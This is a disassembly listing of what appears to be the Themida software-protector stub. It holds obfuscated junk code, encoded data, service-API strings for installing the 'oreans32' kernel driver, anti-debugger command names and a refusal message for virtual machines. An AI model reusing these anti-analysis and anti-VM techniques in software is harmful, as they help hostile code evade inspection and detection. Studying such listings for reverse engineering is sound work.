0B25D858Dh, 6A500616h, 8D006A04h, 16B25485h dd 0B5FF5006h, 616B259h, 1A8D95FFh, 0BD830614h, 61430B1h dd 0C840F00h, 0FF000000h, 16B259B5h, 6595FF06h, 0FF0616B2h dd 16B259B5h, 0F595FF06h, 6106141Ch, 858960C3h, 616B25Dh dd 0B259858Dh, 8D500616h, 16B1C385h, 1685006h, 0FF800000h dd 16B26995h, 8D046A06h, 16B25D85h, 46A5006h, 858D006Ah dd 616B236h, 59B5FF50h, 0FF0616B2h, 141A8D95h, 0B1BD8306h dd 61430h, 0C840Fh, 0B5FF0000h, 616B259h, 0B26595FFh, 0B5FF0616h dd 616B259h, 1CF595FFh, 0C3610614h, 5D858960h, 8D0616B2h dd 16B25985h, 858D5006h, 616B1C3h, 16850h, 95FF8000h, 616B269h dd 858D046Ah, 616B25Dh, 6A046A50h, 3D858D00h, 500616B2h dd 0B259B5FFh, 95FF0616h, 6141A8Dh, 30B1BD83h, 0F000614h dd 0C84h, 59B5FF00h, 0FF0616B2h, 16B26595h, 59B5FF06h dd 0FF0616B2h, 141CF595h, 60C36106h, 0B25D8589h, 858D0616h dd 616B259h, 0C3858D50h, 500616B1h, 168h, 6995FF80h, 6A0616B2h dd 5D858D04h, 500616B2h, 6A046Ah, 0B245858Dh, 0FF500616h dd 16B259B5h, 8D95FF06h, 8306141Ah, 1430B1BDh, 840F0006h dd 0Ch, 0B259B5FFh, 95FF0616h, 616B265h, 0B259B5FFh, 95FF0616h dd 6141CF5h, 8960C361h, 16B25D85h, 59858D06h, 500616B2h dd 0B1C3858Dh, 68500616h, 80000001h, 0B26995FFh, 46A0616h dd 0B25D858Dh, 6A500616h, 8D006A04h, 16B24C85h, 0B5FF5006h dd 616B259h, 1A8D95FFh, 0BD830614h, 61430B1h, 0C840F00h dd 0FF000000h, 16B259B5h, 6595FF06h, 0FF0616B2h, 16B259B5h dd 0F595FF06h, 6106141Ch, 85C760C3h, 616B25Dh, 1, 0B259858Dh dd 8D500616h, 16B1C385h, 2685006h, 0FF800000h, 16B26995h dd 0FC00B06h, 0F84h, 5D85C700h, 616B2h, 0E9000000h, 4Dh dd 858D046Ah, 616B25Dh, 6A046A50h, 0D7858D00h, 500616B1h dd 0B259B5FFh, 95FF0616h, 6141A8Dh, 840FC00Bh, 0Fh, 0B25D85C7h dd 616h, 0AE90000h, 0C7000000h, 16B25D85h, 106h, 59B5FF00h dd 0FF0616B2h, 141CF595h, 858B6106h, 616B25Dh, 858960C3h dd 616B25Dh, 0B259858Dh, 8D500616h, 16B1C385h, 1685006h dd 0FF800000h, 16B26995h, 8D046A06h, 16B25D85h, 46A5006h dd 858D006Ah, 616B1D7h, 59B5FF50h, 0FF0616B2h, 141A8D95h dd 0B1BD8306h, 61430h, 0C840Fh, 0B5FF0000h, 616B259h, 0B26595FFh dd 0B5FF0616h, 616B259h, 1CF595FFh, 0C3610614h, 5D858960h dd 8D0616B2h, 16B25985h, 858D5006h, 616B1C3h, 16850h, 95FF8000h dd 616B269h, 858D046Ah, 616B25Dh, 6A046A50h, 0E9858D00h dd 500616B1h, 0B259B5FFh, 95FF0616h, 6141A8Dh, 30B1BD83h dd 0F000614h, 0C84h, 59B5FF00h, 0FF0616B2h, 16B26595h dd 59B5FF06h, 0FF0616B2h, 141CF595h, 0C6C36106h, 141A5985h dd 7685206h, 0FFADE47Bh, 143481B5h, 1195FF06h, 89061423h dd 16B26985h, 5985C606h, 5206141Ah, 2E00E568h, 81B5FF90h dd 0FF061434h, 14231195h, 65858906h, 0C60616B2h, 141A5985h dd 35685206h, 0FFB9BF12h, 143481B5h, 1195FF06h, 89061423h dd 141A8D85h, 5985C606h, 5206141Ah, 78103468h, 81B5FF98h dd 0FF061434h, 14231195h, 0F5858906h, 0C606141Ch, 141A5985h dd 0D4685206h, 0FFC005DBh, 143481B5h, 1195FF06h, 89061423h dd 1402ED85h, 99E906h, 622F0000h, 68636775h, 326B6365h dd 75622F00h, 65686367h, 2F006B63h, 63726F66h, 6E757265h dd 75622F00h, 65686367h, 75666B63h, 2F006C6Ch, 776F6873h dd 65646F63h, 68732F00h, 6F63776Fh, 326564h, 726C632Fh dd 642F0074h, 317369h, 6F68732Fh, 736E6977h, 636E6174h dd 672F0065h, 6C777465h, 74617473h, 2F007375h, 73676F6Ch dd 75746174h, 642F0073h, 73706D75h, 75746174h, 73h, 632F0000h dd 6B636568h, 746F7270h, 69746365h, 6E6Fh, 83000000h, 16B923BDh dd 840F0006h, 0Ah, 1AE185C7h, 10614h, 85C60000h, 6141A59h dd 4E847h, 6C8D0000h, 8B50906Dh, 8B042444h, 24448900h dd 0B5FF5804h, 6141145h, 3B13858Dh, 0D0FF0614h, 0F88BD0FFh dd 0F223F80h, 2285h, 22B04700h, 0F9850FAEh, 80FFFFFFh dd 840F003Fh, 31Eh, 3F8047h, 314840Fh, 1EE90000h, 80000000h dd 840F003Fh, 306h, 0F203F80h, 685h, 6E94700h, 47000000h dd 0FFFFE2E9h, 3F80FFh, 5850Fh, 0E3E90000h, 0E9000002h dd 1, 203F8047h, 0FFF6840Fh, 3F80FFFFh, 5850F00h, 0E9000000h dd 2C6h, 0AE8h, 0FFCBE900h, 0B7E9FFFFh, 8D000002h, 16B8A3B5h dd 225E806h, 0BD030000h, 616B938h, 0B938BD83h, 0F000616h dd 0B84h, 0B185C700h, 1061430h, 0C3000000h, 0B8AEB58Dh dd 0FCE80616h, 3000001h, 16B938BDh, 38BD8306h, 616B9h dd 0B840Fh, 85C70000h, 6141AE1h, 1, 27B58DC3h, 0E80616B9h dd 1D3h, 0B938BD03h dd 0BD830616h, 616B938h, 0B840F00h, 0C7000000h, 14035985h dd 106h, 0B58DC300h, 616B8B8h, 1AAE8h, 38BD0300h, 830616B9h dd 16B938BDh, 840F0006h, 0Bh, 1AE185C7h, 10614h, 8DC30000h dd 16B8C2B5h, 181E806h, 0BD030000h, 616B938h, 0B938BD83h dd 0F000616h, 1584h, 0E185C700h, 106141Ah, 0C7000000h dd 1430B185h, 106h, 0B58DC300h, 616B8D0h, 14EE8h, 38BD0300h dd 830616B9h, 16B938BDh, 840F0006h, 0Ah, 0D0985C7h, 10614h dd 0B58D0000h, 616B8DAh, 126E8h, 38BD0300h, 830616B9h dd 16B938BDh, 840F0006h, 0Ah, 0D0985C7h, 10614h, 0B58D0000h dd 616B8E5h, 0FEE8h, 38BD0300h, 830616B9h, 16B938BDh, 840F0006h dd 0Ah, 65D85C7h, 10614h, 0B58D0000h, 616B8EBh, 0D6E8h dd 38BD0300h, 830616B9h, 16B938BDh, 840F0006h, 0Ah, 2E7185C7h dd 10614h, 0B58D0000h, 616B8F1h, 0AEE8h, 38BD0300h, 830616B9h dd 16B938BDh, 840F0006h, 0Ah, 0CAD85C7h, 10614h, 0B58D0000h dd 616B8FFh, 86E8h, 38BD0300h, 830616B9h, 16B938BDh, 840F0006h dd 0Ah, 211985C7h, 10614h, 0B58D0000h, 616B90Ch, 5EE8h dd 38BD0300h, 830616B9h, 16B938BDh, 840F0006h, 0Ah, 0B0585C7h dd 10614h, 0B58D0000h, 616B917h, 36E8h, 38BD0300h, 830616B9h dd 16B938BDh, 840F0006h, 0Ah, 1CA185C7h, 10614h, 1E90000h dd 47000000h, 0F203F80h, 984h, 3F8000h, 0FFED850Fh, 60C3FFFFh dd 1B9h, 0E9DE8B00h, 1Fh, 0F003F80h, 585h, 0B900h, 178A0000h dd 840F1638h, 5, 0B9h, 80474600h, 840F003Eh, 8, 850FC90Bh dd 0FFFFFFD0h, 840FC90Bh, 21h, 0F003F80h, 984h, 203F8000h dd 0A850Fh, 1B90000h, 0E9000000h, 5, 0B9h, 0FC90B00h, 0D84h dd 89F32B00h, 16B938B5h, 0AE906h, 85C70000h, 616B938h dd 0 ; --------------------------------------------------------------------------- popa retn ; --------------------------------------------------------------------------- dw 0B8h dd 0B000000h, 0A840FC0h, 0C7000000h, 140D0985h, 6, 0E8C88B00h dd 13h, 0F8523FC8h, 0F7460024h, 8F13BA3Bh, 0AA7FE1B6h dd 60C25946h, 0F60C88Bh, 8Ch, 0FA72BA00h, 61617E9Dh, 0E1D6815Bh dd 8121858Dh, 662FC3h, 0FBF3BF00h, 0BA7B43h, 80000000h dd 0C8B04CCh, 81C68B13h, 3820D6C1h, 29858B7Fh, 81061409h dd 3A16EDF1h, 0A98D0908h, 8106142Ah, 0C143A3F1h, 0BD9D8949h dd 51061423h, 34CDBD2Bh, 48F0614h, 3D9D0913h, 60061403h dd 0FE9h, 570F3100h, 0AEFCF3F8h, 78850523h, 814748FFh dd 5C88166h, 0EA816181h, 44EE93A1h, 30618D89h, 0C2810614h dd 44EE939Dh, 9E9h, 9DF9ED00h, 0CD04C81Dh, 0FA81A38Dh dd 0FFFF9AB4h, 16850Fh, 0C18A0000h, 22E9h, 621D7F00h, 0AB070137h dd 0F86E0861h, 115ABAD0h, 28F0Fh, 0C18B0000h, 0FFFF5DE9h dd 5680EBFFh, 0E9278D89h, 20Eh, 6E614333h, 20746F6Eh, 74697277h dd 726F2065h, 736E6165h, 6478762Eh, 614D0D0Ah, 7320656Bh dd 20657275h, 74616874h, 69687420h, 69662073h, 6920656Ch dd 6F6E2073h, 65622074h, 20676E69h, 64657375h, 20796220h dd 746F6E61h, 20726568h, 676F7270h, 2E6D6172h, 68h dup(0) dd 65724F5Ch, 2E736E61h, 647876h, 2 dup(0) dd 0EFE90000h, 0C6000000h, 141A5985h, 86684706h, 0FFE3E45Bh dd 141145B5h, 13858D06h, 0FF06143Bh, 10468D0h, 9D8D0000h dd 61411A9h, 50D0FF53h, 0BFBDB58Dh, 0FE8B0616h, 0FAEC032h dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 1A5985C6h dd 68430614h, 0BC8E6EFCh, 1145B5FFh, 858D0614h, 6143B13h dd 0B58DD0FFh, 61411A9h, 8068006Ah, 6A000000h, 6A006A02h dd 6800h, 0FF56C000h, 0C6D88BD0h, 141A5985h, 56685706h dd 0FFA69BEEh, 141145B5h, 13858D06h, 0FF06143Bh, 0C5BD8DD0h dd 8D06141Ch, 16C0E38Dh, 57006A06h, 37D068h, 0FF535100h dd 0FC085D0h, 1B85h, 0C5B58D00h, 8D0616BDh, 16A99A85h dd 8DD0FF06h, 1470F08Dh, 0B806h, 0E1FF0000h, 1A5985C6h dd 68430614h, 0C0764AA7h, 1145B5FFh, 858D0614h, 6143B13h dd 0FF53D0FFh, 0D0B9C3D0h, 0E8000037h, 0 ; --------------------------------------------------------------------------- pop eax add eax, 0Eh mov [eax], ecx jmp loc_574CBD ; --------------------------------------------------------------------------- mov eax, ebx loc_574CBD: ; CODE XREF: Themida_:00574CB6j jmp loc_578492 ; --------------------------------------------------------------------------- dw 5A4Dh db 90h align 2 dw 3 dd 40000h, 0FFFF0000h, 0B80000h, 0 dd 400000h, 8 dup(0) dd 0B00000h, 1F0E0000h, 0B4000EBAh, 0B821CD09h, 21CD4C01h dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h dd 240A0Dh, 0 dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0 dd 454C0000h, 0 dd 20000h, 4, 80000000h, 140003h, 4 dup(0) dd 2000000h, 1C00000h, 900000h, 0 dd 7E0000h, 0 dd 0C40000h, 10000h, 0DC0000h, 3 dup(0) dd 12C0000h, 1380000h, 2 dup(0) dd 1420000h, 1960000h, 1D20000h, 0 dd 1D20000h, 0 dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0) dd 27C00400h, 0 dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2 dd 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h dd 11h, 12h, 13h, 58080014h, 544F5250h, 445856h, 3010000h dd 30001h, 2 dup(0) dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h dd 9B010191h, 6002727h, 79276F01h, 81017D01h, 89018501h dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h dd 360h dup(0) dd 4000000h, 10000h, 50580000h, 56544F52h, 4458h, 8000h dd 8 dup(0) dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h dd 5273h, 736h dup(0) db 0 byte_5779ED db 3 dup(0) ; DATA XREF: Themida_:0054BA68o ; Themida_:0054BD14o dd 28Ch dup(0) dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0) dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h, 831AEBC0h dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h dd 580CC3C0h, 544F5250h, 5F445856h, 424444h db 2 dup(0) ; --------------------------------------------------------------------------- loc_578492: ; CODE XREF: Themida_:loc_574CBDj jmp loc_57954E ; --------------------------------------------------------------------------- db 41h dd 50415644h, 2E323349h, 4C4C44h, 6E65704Fh, 614D4353h dd 6567616Eh, 43004172h, 74616572h, 72655365h, 65636976h dd 74530041h, 53747261h, 69767265h, 416563h, 4E746547h dd 76697461h, 73795365h, 496D6574h, 6F666Eh, 6E65704Fh dd 76726553h, 41656369h, 6C654400h, 53657465h, 69767265h dd 43006563h, 65736F6Ch, 76726553h, 48656369h, 6C646E61h dd 6F430065h, 6F72746Eh, 7265536Ch, 65636976h, 8 dup(0) dd 65726F00h, 33736E61h, 79732E32h, 73h, 0 dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0) aOreans32 db 'oreans32',0 a_Oreans32 db '\\.\oreans32',0 a_GlobalOreans3 db '\\.\Global\oreans32',0 aOreansx64 db 'oreansx64',0 a_GlobalOreansx db '\\.\Global\oreansx64',0 align 4 dd 41h dup(0) dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h dd 736E6165h, 732E3233h, 7379h, 48h dup(0) dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h dd 676F7270h, 2E6D6172h, 59h dup(0) dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0) dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0) dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0) dd 4F5C7325h, 6E616572h, 78762E73h, 64h, 2 dup(0) aXprotevent db 'XprotEvent',0 align 4 dd 0Ah dup(0) dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h dd 6567h, 43000000h, 74616572h, 65764565h, 4120746Eh, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0) dd 10h, 0FF000100h, 17FFEFFh, 1000000h, 4A000000h, 2, 0F000100h dd 40800h dword_5794A8 dd 94h, 5, 1, 0A28h, 2, 21h dup(0) ; DATA XREF: Themida_:00549210o ; Themida_:0054AC28o dd 74666F53h, 65726177h, 6E69575Ch db 65h, 0 ; --------------------------------------------------------------------------- loc_57954E: ; CODE XREF: Themida_:loc_578492j mov eax, esp jmp loc_57955D ; --------------------------------------------------------------------------- db 5Bh, 92h, 63h dd 707262E6h ; --------------------------------------------------------------------------- push ecx loc_57955D: ; CODE XREF: Themida_:00579550j push ecx mov ecx, 31450287h pop ecx mov [ebp+6142189h], eax mov edi, [ebp+614226Dh] mov eax, eax sbb cl, 4Ah cmp dword ptr [ebp+61430B1h], 0 jnz short loc_579587 cmp dword ptr [ebp+6141AE1h], 0 jz short loc_5795A0 loc_579587: ; CODE XREF: Themida_:0057957Cj push eax push ebx mov eax, eax mov eax, 43Dh mov [ebp+6141A49h], eax lea ebx, [ebp+616B73Ah] call ebx pop ebx pop eax loc_5795A0: ; CODE XREF: Themida_:00579585j cmp dword ptr [ebp+6141AE1h], 0 jz short loc_5795C0 push eax push ebx mov eax, 43Dh mov [ebp+6141A49h], eax lea ebx, [ebp+616B429h] call ebx pop ebx pop eax loc_5795C0: ; CODE XREF: Themida_:005795A7j mov di, si mov edx, [ebp+6140EF5h] mov eax, eax jmp loc_5795DB ; --------------------------------------------------------------------------- mov esp, 11F3FB98h and ds:0A076A1Eh, ecx loc_5795DB: ; CODE XREF: Themida_:005795CBj mov eax, eax push 0 push ecx call sub_5795E8 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5795E8 proc near ; CODE XREF: Themida_:005795E0p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5795E8 endp ; --------------------------------------------------------------------------- dd 83CF8B7Fh, 1430B1BDh, 9750006h, 1AE1BD83h, 74000614h dd 8B535013h, 0B8C0h, 9D8D0000h, 616B5DCh, 585BD3FFh, 1AE1BD83h dd 74000614h, 0B8535011h, 0 ; --------------------------------------------------------------------------- lea ebx, [ebp+616B48Dh] call ebx pop ebx pop eax push 0 push ebx call sub_579645 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_579645 proc near ; CODE XREF: Themida_:0057963Dp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_579645 endp ; --------------------------------------------------------------------------- imul ecx, [ebx+14222595h], 33C08B06h mov ebp, 6142039h mov eax, eax jmp loc_57967A ; --------------------------------------------------------------------------- db 73h ; --------------------------------------------------------------------------- xor cl, ah mov cl, 45h or dword ptr [edi-7Fh], 39h mov bh, 0CFh retn ; --------------------------------------------------------------------------- db 0F6h db 0A4h, 0A1h ; --------------------------------------------------------------------------- loc_57967A: ; CODE XREF: Themida_:00579666j cmp dword ptr [ebp+61430B1h], 0 jnz short loc_57968C cmp dword ptr [ebp+6141AE1h], 0 jz short loc_57969F loc_57968C: ; CODE XREF: Themida_:00579681j push eax push ebx mov eax, eax mov eax, 0 lea ebx, [ebp+616B50Eh] call ebx pop ebx pop eax loc_57969F: ; CODE XREF: Themida_:0057968Aj cmp dword ptr [ebp+6141AE1h], 0 jz short loc_5796B9 push eax push ebx mov eax, 0 lea ebx, [ebp+616B45Bh] call ebx pop ebx pop eax loc_5796B9: ; CODE XREF: Themida_:005796A6j jmp loc_5796CC ; --------------------------------------------------------------------------- inc ecx retf 0DB5Bh ; --------------------------------------------------------------------------- dw 0EA5Bh dd 6B026BE1h, 0D5DAF1B5h ; --------------------------------------------------------------------------- loc_5796CC: ; CODE XREF: Themida_:loc_5796B9j jge loc_5796D4 mov cl, 8Fh loc_5796D4: ; CODE XREF: Themida_:loc_5796CCj mov eax, eax jmp loc_5796E1 ; --------------------------------------------------------------------------- db 0F2h dd 9E04834Ch ; --------------------------------------------------------------------------- xchg eax, ecx loc_5796E1: ; CODE XREF: Themida_:005796D6j mov eax, eax mov edi, [ebp+6143165h] cmp dword ptr [ebp+61430B1h], 0 jnz short loc_5796FB cmp dword ptr [ebp+6141AE1h], 0 jz short loc_57970E loc_5796FB: ; CODE XREF: Themida_:005796F0j push eax push ebx mov eax, eax mov eax, 0 lea ebx, [ebp+616B575h] call ebx pop ebx pop eax loc_57970E: ; CODE XREF: Themida_:005796F9j cmp dword ptr [ebp+6141AE1h], 0 jz short loc_579728 push eax push ebx mov eax, 0 lea ebx, [ebp+616B474h] call ebx pop ebx pop eax loc_579728: ; CODE XREF: Themida_:00579715j push 0 push esi call sub_579733 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_579733 proc near ; CODE XREF: Themida_:0057972Bp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_579733 endp ; --------------------------------------------------------------------------- db 0C9h dd 0A86AE916h, 9317482Fh, 18D8BA8h, 0E806140Bh, 0Ah, 6D70BE41h dd 69220CDCh, 0B70F66ECh, 14E959CEh, 89000000h, 0FAC3B3F4h dd 95EE7123h, 0CA6BE949h, 4F48F7ADh, 0FC93B7Ch, 68Ch, 0E5852900h dd 8B061431h, 0ACBF66C0h, 53C08BB4h, 0BE8h, 5A575100h dd 225A35CCh, 0A6EA0EB7h, 14A58D2Bh, 59590614h, 1058D8Bh dd 0BD830614h, 61430B1h, 83097500h, 141AE1BDh, 13740006h dd 0C08B5350h, 0B8h, 0A79D8D00h, 0FF0616B4h, 57585BD3h dd 0B58D8951h, 5F06142Ah, 0D5BD8B59h, 8B061419h, 8B19B6C0h dd 12840FC0h, 0E9000000h, 0Dh, 894D8B8Eh, 736DD12Ah, 2445480Dh dd 0B1BD833Fh, 61430h, 0BD830975h, 6141AE1h, 50197400h dd 0B8C08B53h, 7D0h, 1A498589h, 9D8D0614h, 616B73Ah, 585BD3FFh dd 1AE1BD83h, 74000614h, 0B8535017h, 7D0h, 1A498589h, 9D8D0614h dd 616B429h, 585BD3FFh, 6EA171BFh, 51006A65h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 5D1912FEh dd 0C08BFC05h, 0F236EFB9h, 5985C615h, 5306141Ah, 31ED958Bh dd 90680614h, 6699395Fh, 0FFFD36B9h, 141145B5h, 418D8B06h dd 8906140Bh, 142CF58Dh, 13858D06h, 0E806143Bh, 12h dword_5798B0 dd 672F8D01h, 6D12AA13h, 0A46D0876h, 0DEE5EC96h, 0EE926BFh ; DATA XREF: Themida_:0054AF30o dd 0B8000000h, 0AF38C6DAh, 7887EA09h, 0F63173D1h, 0D0FF5F8Ah dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B7C35646h dd 8589F565h, 6142361h, 6E960h, 0F440000h, 812F3720h, 8061D18Bh dd 85C6E2C2h, 6141A59h, 52006A57h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 1AA202Ch, 6146023Ch, 8C5BD03h dd 6680614h, 0E8900452h, 7, 0CF60E681h, 1BAD6D2h, 14098D85h dd 958B5906h, 6143105h, 1145B5FFh, 8B660614h, 13858DCFh dd 6A06143Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 78AC357h, 1BD6D5EAh, 0BF1FAABEh dd 16B90DD5h, 8D89D0FFh, 6142351h, 52B4F181h, 858976ADh dd 6142B19h, 2918D31h, 85C60614h, 6141A59h, 51006A43h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 0D3BF0FC0h, 286865B6h, 33BC9070h, 141521BDh, 45B5FF06h dd 6A061411h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 3494C350h, 0B588356Ah, 58EDA70h dd 3B13858Dh, 0D0FF0614h, 0A15B50B9h, 0C781664Bh, 8589CCD4h dd 6143075h, 1A5985C6h, 6A4C0614h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 6226C355h dd 419C6932h, 6852ADA7h, 0D9DA1CE9h, 727D81BFh, 45B5FF72h dd 8B061411h, 142CA5BDh, 13858D06h, 6A06143Bh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 0B86FC352h, 0E31C44C0h, 0E981A2BEh, 5E015329h, 2870Fh dd 90B20000h, 8D23D0FFh, 614226Dh, 2F958589h, 958B0614h dd 6142249h, 1A5985C6h, 68460614h, 0BADE0614h, 18F58D8Bh dd 0B5FF0614h, 6141145h, 31D98589h, 858D0614h, 6143B13h dd 0BFD0FFF5h, 61AEAEE4h, 8E9h, 4F285C00h, 1D74245Ch, 59858959h dd 8906141Bh, 141FC9BDh, 5985C606h, 4706141Ah, 5E960h dd 95AD0000h, 0B4592D16h, 0E26861EBh, 0E88A0FB5h, 0Eh dd 0B0A188E1h, 8E10E6B1h, 64512523h, 0E980D063h, 0DE95FDDh dd 0B1000000h, 0EF50BC0Eh, 0CA262E56h, 0A72E599Ah, 1145B5FFh dd 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 6C38BDC3h, 80F67A35h, 0F8B16AEEh, 3B13858Dh dd 810F0614h, 6, 0ADD7D281h, 0D0FF6E99h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 19h, 58C35040h, 0D239A23Fh dd 8B665310h, 0BF0F5FCEh, 458589C9h, 6006141Dh, 6149E480h dd 1A5985C6h, 57470614h, 45E28166h, 0F3685F95h, 6A83D0B5h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 449AC353h, 0E346642Eh, 52586EA8h, 94D78166h dd 3D85890Bh, 0FF061403h, 141145B5h, 0A5BD0906h, 8D061405h dd 143B1385h, 0D4EA8106h, 0FF43B5FCh, 662EBAD0h, 85897027h dd 6142F55h, 0E498D89h, 85C60614h, 6141A59h, 0E1816677h dd 0A368F03Eh, 6AF397A8h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0BAFFC350h, 4EA70CCFh dd 0FFB41DF1h, 140931B5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0DE8306Bh dd 4E000000h, 0D1FBDECh, 169AD9BCh, 0F7BC8304h, 16F58D8Bh dd 8D590614h, 143B1385h, 9D8B6006h, 6140539h, 2BA9B589h dd 0FF610614h, 559589D0h, 8906142Dh, 14150985h, 0DDB58906h dd 0E8061408h, 12h, 119046D3h, 577A7C80h, 3AFA08BDh, 71673DCEh dd 9589250Ah, 6142F6Dh, 5985C65Ah, 4706141Ah, 0FAF668F5h dd 0FFF58728h, 141145B5h, 0EDBA6606h, 13858D79h, 6A06143Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 7E05C357h, 57657EF5h, 0FF244A0Eh, 5DBF66D0h dd 8585893Dh, 6006140Ch, 0CE8h, 0B131F400h, 0D1DE7FB5h dd 0AD4D6739h, 0BEBCBF30h, 665F6DDDh, 0C661D88Bh, 141A5985h dd 6A4306h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 0FDCF11C3h, 6890FE9h, 29000000h, 1424298Dh dd 0BD9D0906h, 68061406h, 0BC8E6EFCh, 1579A4B9h, 45B5FF5Fh dd 80061411h, 858DFDF1h, 6143B13h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 93C35545h, 830F914Fh, 14h dd 9E8h, 0D14FD300h, 4DE6C418h, 0DBBF8036h, 5F05F74Fh dd 6AD0FFh, 3E853h, 5B200000h, 